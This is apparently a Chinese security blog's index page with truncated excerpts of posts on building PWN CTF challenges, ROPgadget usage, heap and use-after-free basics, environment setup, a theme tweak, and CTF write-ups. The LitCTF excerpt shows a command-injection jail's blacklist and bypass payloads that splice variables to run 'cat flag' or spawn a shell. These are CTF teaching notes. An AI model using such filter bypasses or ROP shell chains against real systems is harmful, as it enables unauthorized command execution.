pwn出题小记
pwn出题小记参考文章:Docker部署小记 | 幻境
奇奇怪怪的教程 | Yxing
web和pwn题的简单动态flag实现_gzctf-CSDN博客
所使用的工具:docker、CTF-Xined
pwn题编译1234567gcc -o pwn pwn.c-static #指定静态链接#默认动态链接#指定动态链接文件gcc main.c -o main /usr/lib/x86_64-linux-gnu/libc.so.6
保护
1234567NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunkRELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 ...
栈复习
以下均针对AMD 指令集
ROPgadget12345$ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi' #控制寄存器的值$ROPgadget --binary pwn --string '/bin/sh' #查找字符串$ROPgadget --binary pwn --only 'leave|ret' | grep 'leave'#查找leave ret指令地址$ROPgadget --binary pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序$ROPgadget --binary pwn --only 'ret' #查找ret指令的地址
ret2text32位栈传参,顺序从右向左,ebp占4个字节
栈布局
fun(a,b,c)
123456---- ebp----返回函数地址fun_addr----下一执行函数地址----c----b----a
pw ...
butterfly美化
本文用于记录博客修缮过程由于博客过于人机所以想要美化一下
借鉴文章:
Hexo-butterfly美化基础教程(一) | J1Zh0n9の小屋
Butterfly主题一图流背景及文章顶部图修改_butterfly设置背景图-CSDN博客
注意:本文中代码中的 + - 为添加加号要舍弃, - -为去除
一图流修改\ROOT\themes\butterfly_config.yml
编辑其中的 index_img、background、footer_bg 选项。设置网站背景,将主页顶部图和页脚背景改为透明。
新建styl文件
在ROOT\themes\butterfly\source\css\page目录,新建topimg.styl。
1234567891011121314151617181920212223242526// 顶部图#page-header, #page-header:before background-color: transparent !important background-image: unset !important.top-img height: ...
基础学习
[TOC]
建立学习参考目标
(1)短期参考比自己优秀的同龄人。阅读他们的文章和工作成果从细节中观察他们的学习方 式和工作方式。
(2)中期参考你的方向上的业内专家。了解他们的成长轨迹’跟踪他们关注的内容。
(3)长期参考业内老牌企业和先锋企业把握行业发展、技术趋势’为未来做积累
二进制文件从源代码到可执行文件编译原理编译器的作用是读人以某种语言(源语言)编写的程序,输出等价的用另一种语言(目标语言) 编写的程序。
GCC编译GCC编译主要包括四个阶段:预处理、编译、汇编、链接。*(-o 选项用于指定编译后生成的输出文件名)*
1gcc hello.c -o hello //终端运行即可获得可执行文件hello
hello.c–>hello.s–>hello.o
预处理将#开头的预处理指令转换后直接插入程序文本中,得到另一个c程序 hello.i
1gcc -E hello.c -o hello.i //-E可以单独执行预处理
预处理的一些处理规则如下:
递归处理#include预处理指令将对应文件的内容复制到该指令的位置;
删除所有的#define指令并且在 ...
pwn环境搭建
pwn环境搭建一直用的学姐给的pwn虚拟机,插件修修补补总是出点小问题,干脆之间从零开始配一台虚拟机吧,这篇文章用来记录一下配置的过程
版本:Ubuntu 24.04
前置条件请确保安装好VMware(网上有很多教程,这里就不做演示了)注意最好一次性装好,不然就会出现很多奇奇怪怪的bug
下载Ubuntu 22.04的镜像文件:https://ubuntu.com/download/desktop官网下载即可
也可以在国内镜像网站下载Index of /ubuntu-releases/
前期配置过程可以参考这篇文章[★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客](https://blog.csdn.net/j284886202/article/details/134931709#:~:text=本文从零开始演示了Ubuntu 22.04虚拟机的搭建过程,包括VM和镜像的下载安装,还介绍了可能出现的git clone和pip错误的解决办法,以及工具的安装。 此外,详细说明了vim、窗口、壁纸和终端的美化方法,最后提醒勤用快照,未来会更新到Ub ...
UAF
UAF漏洞概述:UAF漏洞全称:use after free,翻译过来也就是说当一个指针所指向的指针块被释放掉之后可以再次被使用,但有一定的前置条件:
chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃
chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时程序很有可能正常运转
chunk被释放之后,其对应的指针没有被设置为NULL,但是在它下一次使用前,有代码对指针所指的这块内存区域进行了修改,那么当程序再次使用这块内存时,就会出现问题
我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针)
未被初始化过的内存指针称为野指针
示例:我们以ctfshow pwn141为例子
pwn141
分析:提示:使用已释放的内存
远程环境:Ubuntu 18.04
check
12345678910桌面$ checksec pwn[*] '/home/pwn/桌面/pwn' Arch: i386-32-litt ...
堆
堆概述什么是堆在程序运行过程中,堆可以提供动态分布的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。
堆管理器处于用户程序与内核中间,主要做以下工作:
1.响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序,同时为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
2.管理用户所释放的内存。一般来说用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存请求。
Linux 中早期的堆分配与回收由 Doug Lea 实现,但它在并行处理多个线程时,会共享进程的堆内存空间。因此,为了安全性,一个线程使用堆时,会进行加锁。然而,与此同时,加锁会导致其它线程无法使用堆,降低了内存分配和回收的高效性。同时,如果在多线程使用时,没能正确控制,也可能影响内存分配和回收的正确性。Wolfram Gloger 在 D ...
polar2025夏季赛复现
flow整数溢出
check
12345678桌面$ checksec pwn[*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
有system和/bin/sh,有gets在exit函数中但需要栈溢出控制执行流
漏洞函数
1234567891011121314151617181920212223242526272829char *test(){ char buf[824]; // [esp+0h] [ebp-338h] BYREF printf("Enter shell:"); read(0, buf, 0x300u); return xxx(buf);}char *__c ...
H&NCTFwp
PWN三步走战略简单的orw
check
1234567891011桌面$ checksec orw[*] '/home/pwn/桌面/orw' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled
mmap分配了一个可读写执行的段buf,用第一个read读shellcode到buf上第二个read栈溢出执行buf上的shellcode读出flag,要注意一开始用getchar接收了一个字节
12345678910111213141516171819202122232425262 ...
LitCTF wp(更新中)
PWNtest_your_nc010edi打开附件
12345678910111213#!/bin/python3import osprint("input your command")blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command)
发现过滤了一些指令,可以通过变量拼接构造cat,通过$IFS$9绕过空格过滤分隔指令
1a=c;b=at;c=fl;d=ag;$a$b$IFS$9$c$d
也可以用
1$0 , /bin/s? s' ...

